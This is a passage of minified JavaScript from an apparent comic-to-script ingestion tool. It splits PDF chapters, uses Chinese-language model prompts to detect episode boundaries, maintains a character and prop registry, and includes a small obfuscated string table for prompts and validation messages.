c="succeeded",{workspacePath:i.root,chunks:u.length,reused:y,records:h,notes:_,assets:{actors:vt.actors?.length??0,locations:vt.locations?.length??0,props:vt.props?.length??0},scriptPath:i.path("script.json"),validation:{ok:j.ok,errors:j.errors.length,warnings:j.warnings.length}}}finally{s.finish(c)}}function YI(e){return dr.basename(e,dr.extname(e))}import*as so from"node:fs";import*as Ai from"node:path";import{createHash as _A}from"node:crypto";var qI=()=>({apparent_gender:"",apparent_age:"",face_shape:"",brows_eyes:"",nose:"",mouth:"",skin_features:"",hair:"",build:"",persistent_marks:[],voice:""});function Go(){return{lastEpisode:0,registry:[],digests:[],openThreads:[]}}var xe=e=>e.normalize("NFC").replace(/\s+/g," ").trim(),Ga=(e,t)=>e.length>t?`${e.slice(0,t)}\u2026`:e;function ZI(e,t){let n=xe(t);return e.find(o=>xe(o.name)===n||xe(o.identitySeed)===n||o.aliases.some(i=>xe(i)===n))}var WI=3,XI=12e3;function Ii(e,t){let n=(t??"").trim();n&&!e.includes(n)&&e.push(n)}var eA=["apparent_gender","apparent_age","face_shape","brows_eyes","nose","mouth","skin_features","hair","build","voice"];function Da(e,t,n){if(!t)return e;let o=e?{...e,persistent_marks:[...e.persistent_marks]}:qI();for(let i of eA){let r=t[i]?.trim()??"";r&&(n||!o[i])&&(o[i]=r)}for(let i of t.persistent_marks??[])Ii(o.persistent_marks,i);return o}function fl(e,t,n){let o=t.name.trim();if(!o)return;let i=t.description.trim(),r=e.find(s=>Rn(s.name)===Rn(o));if(!r){e.push({name:o,description:i});return}i&&(n||!r.description)&&(r.description=i)}function ul(e,t,n,o=!1){let i=(s,c)=>{let a=(c??"").trim();return a&&(o||!s)?a:s};for(let s of t.add_recognition_anchors??[])Ii(e.recognitionAnchors,s);e.identityProfile=Da(e.identityProfile,t.identity_profile_patch,o),t.identity_revision&&(e.identityProfile={...t.identity_revision.profile,persistent_marks:[...t.identity_revision.profile.persistent_marks]},e.recognitionAnchors=[...t.identity_revision.recognition_anchors]);let r=i(e.appearance,t.appearance);r&&(e.appearance=r),e.role=t.identity_revision&&t.role!==void 0?t.role.trim():i(e.role,t.role)??e.role;for(let s of t.add_aliases??[])Ii(e.aliases,s);for(let s of t.add_states??[])fl(e.states,s,o);e.lastEpisode=n}function ps(e,t,n){let o=r=>ZI(e.registry,r);for(let r of t.registry_delta.new_entities){let s=r.name.trim();if(!s||r.kind==="actor"&&dt(s))continue;let c=o(s);if(c){ul(c,{add_recognition_anchors:r.recognition_anchors,identity_profile_patch:r.identity_profile,appearance:r.appearance,role:r.role,add_aliases:r.aliases,add_states:r.states},n);continue}let a=[];for(let p of r.states??[])fl(a,p,!1);let d=[];for(let p of r.aliases??[])Ii(d,p);e.registry.push({identitySeed:s,name:s,kind:r.kind,status:r.status,importance:r.importance,recognitionAnchors:[...new Set((r.recognition_anchors??[]).map(p=>p.trim()).filter(Boolean))],...r.identity_profile?{identityProfile:Da(void 0,r.identity_profile,!0)}:{},...r.appearance?{appearance:r.appearance.trim()}:{},role:(r.role??"").trim(),aliases:d,states:a,firstEpisode:n,lastEpisode:n})}for(let r of t.registry_delta.enrich){if(r.identity_revision)continue;let s=o(r.name);s&&ul(s,r,n,!0)}for(let r of t.registry_delta.canonicalize){let s=o(r.from_name),c=r.canonical_name.trim();if(!s||!c||xe(c)===xe(s.name))continue;let a=o(c);if(a&&a!==s){let d=s.firstEpisode<a.firstEpisode?s:a,p=d===s?a:s,l=d.states.map(y=>({...y})),f=new Set([...s.aliases,...a.aliases,s.identitySeed,a.identitySeed,s.name,a.name,r.from_name].map(y=>y.trim()).filter(Boolean));d.name=c,d.status="canonical",d.importance=s.importance==="featured"||a.importance==="featured"?"featured":"background",d.recognitionAnchors=[];for(let y of[...s.recognitionAnchors,...a.recognitionAnchors])Ii(d.recognitionAnchors,y);let u=Da(void 0,s.identityProfile,!0);d.identityProfile=Da(u,a.identityProfile,!0),(a.appearance||s.appearance)&&(d.appearance=a.appearance||s.appearance),d.role=a.role||s.role,d.states=[];for(let y of[...l,...p.states])fl(d.states,y,!1);d.aliases=[...f].filter(y=>xe(y)!==xe(c)),d.firstEpisode=Math.min(s.firstEpisode,a.firstEpisode),d.lastEpisode=Math.max(s.lastEpisode,a.lastEpisode,n),e.registry.splice(e.registry.indexOf(p),1);continue}Ii(s.aliases,s.name),Ii(s.aliases,r.from_name),s.name=c,s.status="canonical",s.aliases=s.aliases.filter(d=>xe(d)!==xe(c)),s.lastEpisode=n}for(let r of t.registry_delta.enrich){if(!r.identity_revision)continue;let s=o(r.name);s&&ul(s,r,n,!0)}let i=0;for(let r of t.open_threads.opened){let s=r.text.trim();s&&e.openThreads.push({id:`t${n}_${++i}`,text:s,sinceEpisode:n})}for(let r of t.open_threads.closed){let s=r.ref.trim();s&&(e.openThreads=e.openThreads.filter(c=>c.id!==s&&c.text!==s))}return e.digests.push({episode:n,synopsis:(t.synopsis??"").trim()}),e.lastEpisode=n,e}function vh(e,t){return e.digests.push({episode:t,synopsis:"",outcome:"skipped"}),e.lastEpisode=t,e}function tA(e,t){let n=[],o=e.status==="provisional"?"\xB7\u5F85\u5B9A \u26A0":`\xB7${e.importance}`;n.push(`### ${e.name} ${o}`),e.role&&n.push(`- \u8EAB\u4EFD\u5173\u7CFB\u8BB0\u5F55\uFF08\u5F85\u6838\uFF09: ${Ga(e.role,t?40:200)}`),e.recognitionAnchors.length&&n.push(`- \u8BC6\u522B\u951A\u70B9: ${e.recognitionAnchors.join("\uFF1B")}`);let i=e.identityProfile;if(i){let r=[i.apparent_gender,i.apparent_age].filter(Boolean).join("\uFF0C");r&&n.push(`- \u5E74\u9F84\u6027\u522B: ${r}`),i.face_shape&&n.push(`- \u8138\u578B\u4E0B\u988C: ${i.face_shape}`),i.brows_eyes&&n.push(`- \u7709\u773C: ${i.brows_eyes}`),i.nose&&n.push(`- \u9F3B\u90E8: ${i.nose}`),i.mouth&&n.push(`- \u5507\u5F62\u5634\u89D2: ${i.mouth}`),i.skin_features&&n.push(`- \u80A4\u8272\u9762\u90E8: ${i.skin_features}`),i.hair&&n.push(`- \u53D1\u578B: ${i.hair}`),i.build&&n.push(`- \u4F53\u6001: ${i.build}`),i.persistent_marks.length&&n.push(`- \u56FA\u5B9A\u6807\u8BB0: ${i.persistent_marks.join("\uFF1B")}`),i.voice&&n.push(`- \u58F0\u7EBF: ${i.voice}`)}if(e.aliases.length&&n.push(`- \u66FE\u7528\u79F0\u547C: ${e.aliases.join("\u3001")}`),e.states.length){n.push("- \u5DF2\u767B\u8BB0\u9636\u6BB5\uFF08\u540D\u79F0\u9010\u5B57\u7528\u4E8E\u5F15\u7528\uFF0C\u63CF\u8FF0\u6309\u9002\u7528\u9636\u6BB5\u6838\u5BF9\uFF09\uFF1A");for(let r of e.states)n.push(` - ${r.name}\uFF1A${r.description||"\u63CF\u8FF0\u5F85\u8865"}`)}return n.push(`- \u51FA\u73B0: ep ${e.firstEpisode}\u2013${e.lastEpisode}`),e.status==="provisional"&&n.push(`- \u8EAB\u4EFD\u672A\u786E\u8BA4\uFF1A\u672C\u96C6\u82E5\u51FA\u73B0\u4E66\u9762\u59D3\u540D\u6216\u53F0\u8BCD\u672C\u540D\uFF0C\u7528 canonicalize \u4ECE\u300C${e.name}\u300D\u5347\u7EA7\u89C4\u8303\u540D`),n}function kh(e,t){let n=Ga(e.appearance||e.role||"",t?30:60),o=e.states.map(i=>i.description?`${i.name}\uFF08${Ga(i.description,t?20:60)}\uFF09`:i.name).join(" / ");return`- ${e.name} \xB7${e.importance}${n?`\uFF1A${n}`:""}${o?`\uFF1B\u72B6\u6001\uFF1A${o}`:""}`}function bh(e,t,n){let o=[];o.push(`# \u5148\u524D\u767B\u8BB0\uFF08\u89E3\u6790\u7B2C ${e.lastEpisode+1} \u96C6\u65F6\u6838\u5BF9\u672C\u8868\uFF09`,""),o.push("\u4F9D\u636E\u6765\u6E90\u4FDD\u6301\u4EBA\u7269\u8EAB\u4EFD\u8FDE\u7EED\u3002\u4EBA\u7269 role \u91CD\u5199\u4E3A\u5DF2\u786E\u8BA4\u7684\u8EAB\u4EFD\u79F0\u8C13\u4E0E\u5173\u7CFB\uFF1B\u5176\u4E2D\u6DF7\u5165\u7684\u5916\u8C8C\u6309\u9002\u7528\u9636\u6BB5\u5F52\u5165 state\u3002\u5168\u90E8\u5916\u8C8C\u4E0E\u58F0\u7EBF\u7531\u5404 state \u72EC\u7ACB\u627F\u8F7D\uFF0C\u65E2\u6709\u753B\u50CF\u4E0E\u8BC6\u522B\u951A\u70B9\u4F5C\u4E3A\u5F85\u6838\u89C2\u5BDF\uFF0C\u4F9D\u636E\u5404\u9636\u6BB5\u8BC1\u636E\u8865\u5168\u76F8\u5E94 state\uFF0C\u5E76\u4EE5\u5168\u7A7A identity_revision \u6E05\u7A7A\u753B\u50CF\u4E0E\u951A\u70B9\u3002","");let i=e.registry.filter(a=>a.kind==="actor"),r=e.registry.filter(a=>a.kind==="location"),s=e.registry.filter(a=>a.kind==="prop");if(i.length){o.push("## \u4EBA\u7269","");for(let a of i)o.push(...tA(a,n),"")}if(r.length||s.length){o.push("## \u573A\u666F / \u9053\u5177","");for(let a of r)o.push(kh(a,n));for(let a of s)o.push(kh(a,n));o.push("")}let c=e.digests.filter(a=>a.episode>e.lastEpisode-t);if(c.length){o.push("## \u5267\u60C5\u8FDB\u5C55","");for(let a of[...c].sort((d,p)=>d.episode-p.episode))o.push(a.outcome==="skipped"?`\u7B2C${a.episode}\u96C6\u5DF2\u4EBA\u5DE5\u8DF3\u8FC7\uFF0C\u5267\u60C5\u672A\u77E5\u3002`:`\u7B2C${a.episode}\u96C6\uFF1A${n?Ga(a.synopsis,40):a.synopsis}`);o.push("")}if(e.openThreads.length){o.push("## \u672A\u95ED\u5408\u7EBF\u7D22\uFF08\u82E5\u672C\u96C6\u4EA4\u4EE3\u4E86\uFF0C\u7528 open_threads.closed \u5F15\u7528\u5176 [id] \u5173\u95ED\uFF09","");for(let a of e.openThreads)o.push(`- [${a.id}] ${a.text}`);o.push("")}return o.join(`
268
+ `)}function Ba(e){for(let t=WI;t>=1;t--){let n=bh(e,t,!1);if(n.length<=XI)return n}return bh(e,1,!0)}function Bo(e){let t=new Map;for(let n of e)for(let o of[n.identitySeed,...n.aliases])xe(o)!==xe(n.name)&&t.set(o,n.name);return t}function nA(e){let t=e.identityProfile,n=[];if(t){let o=[t.apparent_gender,t.apparent_age].filter(Boolean).join("\uFF0C");o&&n.push(`\u5916\u89C2\u5E74\u9F84\u4E0E\u6027\u522B\uFF1A${o}`),t.face_shape&&n.push(`\u8138\u578B\u4E0B\u988C\uFF1A${t.face_shape}`),t.brows_eyes&&n.push(`\u7709\u773C\uFF1A${t.brows_eyes}`),t.nose&&n.push(`\u9F3B\u90E8\uFF1A${t.nose}`),t.mouth&&n.push(`\u5507\u5F62\u53E3\u5468\uFF1A${t.mouth}`),t.skin_features&&n.push(`\u80A4\u8272\u9762\u90E8\uFF1A${t.skin_features}`),t.hair&&n.push(`\u5934\u53D1\uFF1A${t.hair}`),t.build&&n.push(`\u9AA8\u67B6\u4F53\u578B\uFF1A${t.build}`),t.persistent_marks.length&&n.push(`\u56FA\u5B9A\u6807\u8BB0\uFF1A${t.persistent_marks.join("\u3001")}`),t.voice&&n.push(`\u58F0\u7EBF\uFF1A${t.voice}`)}return e.recognitionAnchors.length&&n.push(`\u8BC6\u522B\u951A\u70B9\uFF1A${e.recognitionAnchors.join("\uFF1B")}`),e.role&&n.push(`\u89D2\u8272\u8BED\u5883\uFF1A${e.role}`),n.map(o=>o.replace(/[。;]+$/,"")).join("\uFF1B")}function Oh(e,t){let n=new Map,o=new Map,i=(s,c)=>{let a=xe(s),d=c.trim();!d||xe(d)===a||(o.has(a)||o.set(a,new Set),o.get(a).add(d))};for(let s of t){n.set(xe(s.name),s.importance);for(let c of s.aliases)n.set(xe(c),s.importance);n.set(xe(s.identitySeed),s.importance);for(let c of new Set([s.identitySeed,...s.aliases]))i(s.name,c)}let r=(s,c)=>{for(let a of s??[]){let d=String(a[c]??""),p=[d,...a.aliases??[]],l;for(let y of p)if(l=t.find(m=>xe(m.name)===xe(y)||xe(m.identitySeed)===xe(y)||m.aliases.some(g=>xe(g)===xe(y))),l)break;a.importance=l?.importance??n.get(xe(d))??"featured";let f=o.get(xe(d));if(f?.size&&(a.aliases=[...new Set([...a.aliases??[],...f])]),!l)continue;let u=l.kind==="actor"?nA(l):[l.appearance,l.role].map(y=>(y?.trim()??"").replace(/[。;]+$/,"")).filter(Boolean).join("\uFF1B");u&&(a.description=`${u}\u3002`);for(let y of a.states??[]){let m=l.states.find(g=>Rn(g.name)===Rn(y.state_name));m?.description?y.description=m.description:y.state_name==="default"&&l.kind!=="actor"&&l.appearance&&(y.description=l.appearance)}}};return r(e.actors,"actor_name"),r(e.locations,"location_name"),r(e.props,"prop_name"),e}function Rh(e,t,n){let o=Bo(t.registry),i=d=>o.get(d)??d,r=d=>{let p=d.indexOf(":"),l=d.slice(0,p);return p>0&&(l==="system"||l==="broadcast"||l==="offscreen"||l==="group")?{kind:l,label:d.slice(p+1)}:dt(d)?{kind:"group",label:d}:{name:i(d)}},s=0,c={title:n,episodes:e.map(d=>({identity_key:`comic:${d.document_id}`,episode_id:`ep_${String(d.episode).padStart(3,"0")}`,title:d.title,scenes:d.output.scenes.map((p,l)=>{let f=`comic:${d.document_id}:scene:${l+1}`,u=p.characters.flatMap(m=>m.states.length?m.states.map(g=>({name:i(m.name),state:g})):[{name:i(m.name)}]),y=p.actions.map((m,g)=>{let w={kind:"comic",document_id:d.document_id,pages:m.pages,regions:m.regions},h={identity_key:`${f}:action:${g+1}`,type:m.type,content:m.content,extend:{scriptctl:{source:w}}};if((m.type==="dialogue"||m.type==="inner_thought")&&(h.speaker=r(m.speaker),m.parenthetical&&(h.parenthetical=m.parenthetical),"name"in h.speaker)){let _=h.speaker.name;u.some(x=>x.name===_)||u.push({name:_})}return h});return{identity_key:f,scene_id:`scn_${String(++s).padStart(3,"0")}`,environment:{...p.space?{space:p.space}:{},...p.time?{time:Co(p.time)}:{}},location:p.location?{name:i(p.location)}:null,actors:u,props:[...new Set(p.props.map(i))].map(m=>({name:m})),actions:y}})}))},a=new Set(t.registry.map(d=>`${d.kind}:${d.name}`));for(let d of c.episodes)for(let p of d.scenes){let f=[...p.actors.map(u=>`actor:${u.name}`),...p.props.map(u=>`prop:${u.name}`),...p.location?[`location:${p.location.name}`]:[]].filter(u=>!a.has(u));if(f.length)throw new S(`Comic scene references assets absent from the registry: ${f.join(", ")}`,{exitCode:b,errorCode:"INGEST_VALIDATION_FAILED",hint:"The episode must register every referenced character, location and key prop.",data:{actual:f}})}return c}var pr=e=>e.normalize("NFC").replace(/\s+/g," ").trim().toLowerCase();function oA(e,t,n){let o=Bo(t),i=l=>o.get(l)??l,r=new Map;for(let l of t){let f=i(l.name),y=t.find(g=>g.kind===l.kind&&pr(g.name)===pr(f))??l,m=`${l.kind}:${pr(f)}`;r.has(m)||r.set(m,`${n}:${y.kind}:${y.firstEpisode}:${pr(y.identitySeed)}`)}let s={},c={},a={},d={},p={actor:s,location:c,prop:a};for(let l of e){let f=l.names[0]??l.provisional_id,u=r.get(`${l.kind}:${pr(f)}`)??`${n}:${l.kind}:source:${pr(f)}`;p[l.kind][l.provisional_id]=u,d[l.provisional_id]=Object.fromEntries(l.states.map(y=>[y.id,`${u}:state:${Rn(y.name)}`]))}return{actor:s,location:c,prop:a,state:d}}function Ja(e,t,n,o){let{script:i,assets:r,identityKeys:s}=Ra(e);Oh(i,t.registry);let c=Pa(i),{script:a,idMap:d}=Na(c),p=wt(a);if(!p.ok)return{initial:i,final:a,idMap:d,validation:p,identityMap:o,scriptV4:null};let l=sr(Tt(c),o,{...oA(r,t.registry,n),...s}),f=l.script,u=Pe(f);return{initial:i,final:f,scriptV4:f,idMap:d,identityMap:l.identityMap,validation:{...u,warnings:[...u.warnings,...rr(f)]}}}import*as Mh from"node:fs";import*as io from"node:path";import{createHash as iA}from"node:crypto";import{PDFDocument as rA}from"pdf-lib";import*as Ka from"node:path";function ja(e){let t=Ka.basename(e,Ka.extname(e)),n=t.match(/第\s*0*(\d+)\s*[集话回]/u)??t.match(/(?:^|[._\-\s])(?:ep(?:isode)?|e)\s*[._\-\s]*0*(\d+)(?=$|[._\-\s])/iu);if(n)return Number(n[1]);let o=t.match(/\d+/);return o?Number(o[0]):null}function sA(e){let t=e.kind==="comic-file"?[e.path]:e.files,n=t.map(i=>({path:i,sourceNumber:ja(i)})),o=n.flatMap(i=>i.sourceNumber===null?[]:[i.sourceNumber]);if(o.length>0&&o.length!==t.length||new Set(o).size!==o.length)throw new S("Comic chapter ordering is ambiguous.",{exitCode:b,errorCode:"INGEST_COMIC_DISCOVERY",hint:"Give every PDF a unique chapter number, or use unnumbered filenames that sort in reading order.",data:{actual:t.map(i=>io.basename(i))}});return n.sort((i,r)=>i.sourceNumber!==null&&r.sourceNumber!==null?i.sourceNumber-r.sourceNumber:io.basename(i.path).localeCompare(io.basename(r.path),"zh-Hans",{numeric:!0}))}async function Lh(e){let t=[];for(let[n,o]of sA(e).entries()){let i=Mh.readFileSync(o.path),s=(await rA.load(i,{updateMetadata:!1})).getPageCount();if(!s)throw new S("PDF is outside the document provider limits.",{exitCode:b,errorCode:"INGEST_COMIC_SIZE",hint:"Provide a PDF containing at least one readable page.",data:{actual:[`${o.path}: ${s} pages, ${i.length} bytes`]}});t.push({episode:n+1,document_id:`chapter-${String(n+1).padStart(3,"0")}`,source_number:o.sourceNumber,title:io.basename(o.path,io.extname(o.path)),path:io.resolve(o.path),sha256:iA("sha256").update(i).digest("hex"),page_count:s,size_bytes:i.length})}return t}function Nh(e,t){let n=e.find((o,i)=>{let r=t[i];return!r||o.sha256!==r.sha256||o.source_number!==r.source_number||o.title!==r.title});if(n)throw new S("The comic source prefix changed.",{exitCode:b,errorCode:"INGEST_SOURCE_MISMATCH",hint:"Restore the original chapters or use a fresh workspace. Only tail chapters may be appended.",data:{actual:[n.title]}})}import{PDFDocument as aA,StandardFonts as cA,rgb as dA,pushGraphicsState as pA,popGraphicsState as lA,concatTransformationMatrix as za}from"pdf-lib";async function Uh(e){let t=await aA.load(e),n=await t.embedFont(cA.Helvetica),o=dA(0,.45,.85);for(let i of t.getPages()){let r=i.getCropBox(),s=(i.getRotation().angle%360+360)%360,c=s===90||s===270,a=c?r.height:r.width,d=c?r.width:r.height;switch(i.pushOperators(pA()),s){case 90:i.pushOperators(za(0,1,-1,0,r.x+r.width,r.y));break;case 180:i.pushOperators(za(-1,0,0,-1,r.x+r.width,r.y+r.height));break;case 270:i.pushOperators(za(0,-1,1,0,r.x,r.y+r.height));break;default:i.pushOperators(za(1,0,0,1,r.x,r.y))}let p=a/70;for(let l=0;l<=1e3;l+=50){let f=d*(1-l/1e3);i.drawLine({start:{x:0,y:f},end:{x:a,y:f},thickness:.5,color:o,opacity:.3});let u=`y=${l}`,y=Math.max(1,Math.min(d-p,f+1));for(let m of[1,a-n.widthOfTextAtSize(u,p)-1])i.drawText(u,{x:m,y,size:p,font:n,color:o})}for(let l=100;l<1e3;l+=100){let f=a*l/1e3;i.drawLine({start:{x:f,y:0},end:{x:f,y:d},thickness:.5,color:o,opacity:.3});for(let u=0;u<1e3;u+=250)i.drawText(`x=${l}`,{x:f+1,y:d*(1-u/1e3)-p,size:p,font:n,color:o})}i.pushOperators(lA())}return t.save()}import*as Ph from"node:fs";import*as Ch from"node:path";import uA from"proper-lockfile";async function Jo(e,t){let n=Ch.resolve(e);Ph.mkdirSync(n,{recursive:!0});let o=null;try{o=await uA.lock(n,{realpath:!1,stale:12e4,update:1e4,retries:0})}catch(i){throw new S("The ingest workspace is busy.",{exitCode:X,errorCode:"INGEST_WORKSPACE_BUSY",hint:"Wait for the other ingest or skip command to finish, then retry.",data:{actual:[n,i instanceof Error?i.message:String(i)]}})}try{return await t()}finally{await o()}}import*as ro from"node:fs";import*as gl from"node:path";import{PDFDocument as ml}from"pdf-lib";import{z as lr}from"zod";var Th=lr.object({starts:lr.array(lr.object({page:lr.number().int().min(1),title:lr.string().min(1)}))}),fA="\u9605\u8BFB\u6F2B\u753B PDF \u5E76\u8BC6\u522B\u5B9E\u9645\u8BDD/\u7AE0\u8282\u8FB9\u754C\u3002\u53EA\u8F93\u51FA\u672C\u6BB5\u5185\u786E\u5B9E\u5F00\u59CB\u7684\u65B0\u8BDD\u7684\u8D77\u59CB\u7269\u7406\u9875\u7801\u548C\u539F\u7A3F\u6807\u9898\u3002\u4F9D\u636E\u8BDD\u53F7\u3001\u7AE0\u8282\u6249\u9875\u3001\u6807\u9898\u53CA\u53D9\u4E8B\u8FDE\u7EED\u6027\u7EFC\u5408\u5224\u65AD\uFF1B\u573A\u666F\u5207\u6362\u3001\u56DE\u5FC6\u3001\u6362\u9875\u548C\u5E7F\u544A\u4E0D\u662F\u65B0\u8BDD\u3002\u8F93\u5165\u53EF\u80FD\u4ECE\u4E00\u8BDD\u4E2D\u95F4\u5F00\u59CB\uFF0C\u5EF6\u7EED\u524D\u6BB5\u7684\u5185\u5BB9\u4E0D\u7B97\u65B0\u8BDD\u3002\u7B2C\u4E00\u6BB5\u4ECE\u539F\u6587\u6863\u7B2C\u4E00\u9875\u5F00\u59CB\u65F6\uFF0C\u4E3A\u7B2C\u4E00\u8BDD\u5EFA\u7ACB\u8D77\u70B9\uFF0C\u5C01\u9762\u548C\u76EE\u5F55\u968F\u9996\u8BDD\u4FDD\u7559\u3002\u591A\u8BDD\u5408\u96C6\u9010\u9879\u5217\u51FA\u5404\u8BDD\uFF1B\u5355\u8BDD\u6587\u4EF6\u53EA\u6709\u4E00\u4E2A\u8D77\u70B9\u3002page \u4F7F\u7528\u672C\u6B21\u8F93\u5165 PDF \u4ECE 1 \u5F00\u59CB\u7684\u7269\u7406\u9875\u7801\u3002\u6807\u9898\u4FDD\u7559\u539F\u8BDD\u53F7\u548C\u53EF\u8BFB\u8BDD\u540D\uFF1B\u65E0\u6CD5\u786E\u8BA4\u8BDD\u53F7\u65F6\u4F7F\u7528\u7B80\u77ED\u5185\u5BB9\u6807\u9898\u3002";async function Vh(e,t,n,o){let i=[];for(let r of e){let s=`sources/${r.sha256}.chapters.json`,c,a=await ml.load(ro.readFileSync(r.path));if(t.has(s))c=t.readJson(s);else{c=[];for(let d=0;d<r.page_count;){let p=Math.min(40,r.page_count-d),l;for(;;){let y=await ml.create();for(let m of await y.copyPages(a,Array.from({length:p},(g,w)=>d+w)))y.addPage(m);if(l=await y.save(),l.length<=4e7||p===1)break;p=Math.ceil(p/2)}let f=t.path(`sources/${r.sha256}.scan.pdf`);ro.mkdirSync(gl.dirname(f),{recursive:!0}),yi(f,Buffer.from(l)),process.stderr.write(`\u8BC6\u522B\u6F2B\u753B\u7AE0\u8282 \xB7 ${r.title} \xB7 \u539F\u7A3F ${d+1}\u2013${d+p} / ${r.page_count} \u9875
269
+ `);let u=await n.prepare(f,o);try{let y=await n.generate({media:u,system:fA,user:`\u539F\u6587\u4EF6\uFF1A${r.title}\uFF0C\u5171 ${r.page_count} \u9875\u3002\u672C\u6BB5\u4E3A\u539F\u7A3F\u7B2C ${d+1}\u2013${d+p} \u9875\u3002\u5DF2\u8BC6\u522B\u8D77\u70B9\uFF1A${JSON.stringify(c)}\u3002`,responseJsonSchema:lr.toJSONSchema(Th,{target:"openapi-3.0"}),signal:o}),m=Th.parse(JSON.parse(y.text));c.push(...m.starts.filter(g=>g.page<=p).map(g=>({...g,page:d+g.page})))}finally{await n.release(u,o)}d+=p}c=[...new Map(c.sort((d,p)=>d.page-p.page).map(d=>[d.page,d])).values()],c.length?c[0].page=1:c.push({page:1,title:r.title}),t.writeJson(s,c)}for(let[d,p]of c.entries()){let l=(c[d+1]?.page??r.page_count+1)-1,f=i.length+1,u=c.length===1?r.path:t.path(`sources/${r.sha256}.${p.page}-${l}.pdf`);if(!ro.existsSync(u)){let y=await ml.create();for(let m of await y.copyPages(a,Array.from({length:l-p.page+1},(g,w)=>p.page-1+w)))y.addPage(m);ro.mkdirSync(gl.dirname(u),{recursive:!0}),yi(u,Buffer.from(await y.save()))}i.push({...r,episode:f,document_id:`chapter-${String(f).padStart(3,"0")}`,title:c.length===1?r.title:p.title,path:u,page_count:l-p.page+1,size_bytes:ro.statSync(u).size,original_path:r.path,original_page_count:r.page_count,start_page:p.page,end_page:l})}}return i}import{z as $h}from"zod";var Ha=fn,mA=Ha(7);function yl(e,t){let n=Ha,o=ha[n(1)](JSON[n(12)](e)),i=a=>{let d=n;throw new S(d(14)+a[d(21)]("; "),{exitCode:b,errorCode:d(44),hint:d(23),data:{actual:a}})};if(!o[n(17)])return i(o[n(37)][n(18)][n(15)](0,8)[n(38)](a=>a[n(10)][n(21)](".")+": "+a[n(9)]));let r=o[n(41)],s=new Set;for(let a of r[n(43)])for(let d of a[n(20)]){if(d[n(28)][n(42)]((l,f)=>l>t||f>0&&l<=d[n(28)][f-1]))return i([n(24)+d[n(28)][n(21)](", ")+n(25)+t+n(34)]);let p=Zr(d[n(28)],d[n(29)]);if(p[n(30)])return i(p);for(let l of d[n(28)])s[n(40)](l)}for(let a of r[n(6)]){if(a[n(36)]>t||s[n(13)](a[n(36)]))return i([n(27)+a[n(36)]]);s[n(40)](a[n(36)])}let c=Array[n(33)]({length:t},(a,d)=>d+1)[n(19)](a=>!s[n(13)](a));return c[n(30)]?i([n(31)+c[n(21)](", ")]):r}async function Dh(e,t,n,o,i,r,s){let c=Ha,a=await e[c(2)]({media:t,system:mA,user:c(3)+n+c(22)+o+c(0)+i,responseJsonSchema:$h[c(5)](Dm,{target:c(35)}),signal:s});return r(a[c(26)]),yl(a[c(26)],o)}function hl(){let e=["ioMHTE+8JoIVT+wUJoAvToMyHEIVU+w5TUAmIEMHUUw6J+MaKoAGVoI9RowgMEwfQoMdQowjP+AdHEoaGGOk","C2fMzvbHCNnL","z2vUzxjHDgu","5B2t5yMn6k+D77YA","5Qc55O2U5y6F5RYR55s75zkm5BEY6l2S5B2v5Q2J5PAh5Pw055cg5A6m5Pw06lwe5lQN55M76k6W44cc6l+u5zUEihjLz2LZDhj5x2rLBhrHiowVUEIXOE+8Jos/NEEvMEATO+EHRUEzU+IUSo+8JoIHPEM9KoATO+AwH+wUNUMzHEw8LEEuQoEAHos6UUEjQEoaGEwCSoEcUEwsJowfS+MuRUMbK+wfT++8JoINHoImG+wqJEs4JUw8LEEuQoMaKowTL+s4GoIhTooaGUs+NEAnRUwoN+EOV+ApJ+I/SowpR+INGEwKLUINGU+8M+wqJos4GoI6Q+s7VEEuQowiQ+wqJEwsJcbJyw5VBMLJywXPEMuG5B2s5BM244cc5l+D55wz5BEY6l2S5B2v5Q2J5PAh55Qe5ywO6yoO5yAf5A6544cc","Dg9ku09ou2nOzw1H","AwDUB3jLzf9WywDLCW","5l2G5PIV5RYR55s76l2S5yMN5PYS55Qe5lIY6kgm6kEJ5P6q5zMO44cc6l6t5ywL5PIV5A6m5Pw05lIa6k+DifberIdLKOZLIy3PNAlLKitOR53NTk/NP6/NMOtLT7lNN6xORR7LRPRJGilOVPpLH7RKUidKUkRNRkBLKiGGC2nOzw1HioEAHcbku09oiowVUEIXOE+8JowqJoAxTUwmHEwqQ+ACRoIVNEMaKoAGVowjP+ACRooaGEI1Hos6P+wINUMhJ+wsJowjP+AdHEE6V+E0OUoaGGOk6l6t5yE65A2x5Q6177YA5Q+p5P2HigfJDgLVBNmG55Qeihr5CguG5y+Q6io95PIVigfJDgLVBU+8IoEuU+MDOU+8IEoaGxrYyw5ZAxrPB27VViJOVAZLNlRVViNJGifKAwfSB2D1zE+8IowVUEEzVs/LRQlOP4lML4hNMB3VViNJGifPBM5LCL90Ag91z2H077Yi5lQ654MP5B+d5AoW77Yj77YB5Q2J5PAh57UF5lIa5yAz5ywLignVBNrLBNtJGilMR4/MNAhPG73LJixLKkSGCgfNzxmG5PwW5A2x5PwW57Ue44cbCMvNAw9UCYdLR7NOSAhMLBdNU4tJGifZCgvHA2vYiowsJcbWyxjLBNrOzxrPy2fS44cczgLHBg9NDwuG5lIoigLUBMvYx3rOB3vNAhqG55QeihnWzwfRzxiG5AgR5y+r6k+D6icf77YmCgfYzw50Agv0AwnHBcdLOAVOOAJMVjtMJ5dNPlRVViZMSQhMNiNMJ5dNPlRLOAVNQBRKUllVVjTHy3rPB24G5lIoihrYyw5ZAxrPB24G55QeihnWzwfRzxiG5zkmihbHCMvUDgHLDgLJywWG5z2h5AgR56M65lIY44cccGROVPpLHAuGuergios4IUEAHoItNEIjSUE9KEAGVowpIIb4ps95psdMLBdLRzFLIlVLUQBMMk/LRPRKVy3OVOxLIQNLSylVViZKUi3MMk/MVkVNLlVLHOxLRRNVViZKUi3OVAZLHPNKUlRNLlVPNAlMLOFLRzFJGihLNlRMMA/MIjBLIAFMG4xJGilLNzdMOiFLV4xPOBVKVP3MJA7OV5NKUPVLIlVLUQBOR7VLJ5BNM67MOiFOVRNNLyZVViZLUBBLNkJNM7JPGRVLIlVLUQBKUyVPL7tMJ5lLGlZVViZKUi3LH63PLB/MNAhLM77MLBtKVzpLJBdOSAhKVldNRPFJGilLROpKU6ZKUi7LJP8GuergioEAHowpR+INGEMHTEI+UEEvJos4GoIhTooaGGOk5OYjifberIdNIANNKiBPOBxPOBRLUO/KU47LPltOR7VLIldLSl7JGilLHyJOVQJORQtNIyJPNAlPMixOR7VMLRNLKjhVVjRNQ5BMNAhMVkVKU47KUiRLIldKUiVVViZLKiZKUidMQkRMJPlKVP3MSjtMS6hLKOZNLlVMOlZLHBpNS7VPMixOR7VVVjVKVkdNU5/MVkVNLlVMJiNLHBBNIyJLVi/ML